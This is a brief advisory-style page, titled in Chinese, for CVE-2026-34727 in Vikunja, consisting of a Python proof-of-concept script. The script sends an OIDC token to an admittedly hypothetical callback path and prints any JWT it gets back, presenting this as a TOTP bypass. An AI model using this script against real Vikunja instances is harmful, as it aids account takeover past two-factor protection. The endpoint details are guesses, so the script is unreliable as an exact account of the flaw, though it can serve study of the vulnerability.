CVE-2026-34727 Vikunja OIDC认证绕过漏洞

# PoC Concept for CVE-2026-34727 # This script demonstrates the logic flaw where TOTP is skipped during OIDC callback. import requests def exploit_oidc_bypass(target_url, oidc_token): """ Simulates the OIDC callback request. In a real scenario, the attacker would obtain a valid OIDC token for the victim's email. The vulnerable endpoint issues a JWT without checking TOTP status. """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {oidc_token}" } # The vulnerable endpoint (hypothetical path based on description) endpoint = f"{target_url}/api/v1/auth/oidc/callback" try: response = requests.post(endpoint, headers=headers) if response.status_code == 200 and "token" in response.json(): print("[+] Exploit successful! TOTP bypassed.") print(f"[+] Received JWT: {response.json()['token']}") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}") # Usage # exploit_oidc_bypass("http://target-vikunja.com", "fake_oidc_token")